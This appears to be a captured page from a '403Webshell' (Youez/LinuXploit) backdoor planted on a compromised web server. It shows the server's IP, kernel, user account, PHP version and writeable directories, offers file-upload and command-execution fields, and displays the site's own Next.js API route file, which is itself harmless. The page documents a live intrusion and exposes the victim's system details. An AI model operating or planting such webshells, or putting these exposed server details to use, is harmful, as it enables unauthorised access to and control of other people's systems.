403Webshell
Server IP : 217.154.3.148  /  Your IP : 216.73.216.90
Web Server : nginx/1.30.3
System : Linux blissful-wright.217-154-3-148.plesk.page 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : gracious-boyd_hfhh1h8vo9n ( 10000)
PHP Version : 8.3.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/gracious-boyd.217-154-3-148.plesk.page/nextjs/app/api/analyze/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/gracious-boyd.217-154-3-148.plesk.page/nextjs/app/api/analyze/route.ts
import type { NextRequest } from "next/server";

export const runtime = "nodejs";
export const dynamic = "force-dynamic";

const HANDLER = (process.env.MASKS_HANDLER ?? "preset").toLowerCase();

export async function POST(req: NextRequest) {
  if (HANDLER === "legacy") {
    const { POST } = await import("./route.legacy");
    return POST(req);
  }
  const { POST } = await import("./route.preset");
  return POST(req);
}

export async function GET(req: NextRequest) {
  if (HANDLER === "legacy") {
    const legacy = await import("./route.legacy");
    if (typeof legacy.GET === "function") return legacy.GET(req);
    return new Response(JSON.stringify({ ok: true, handler: "legacy" }), {
      headers: { "content-type": "application/json" },
    });
  }
  const preset = await import("./route.preset");
  if (typeof preset.GET === "function") return preset.GET(req);
  return new Response(JSON.stringify({ ok: true, handler: "preset" }), {
    headers: { "content-type": "application/json" },
  });
}

Youez - 2016 - github.com/yon3zu
LinuXploit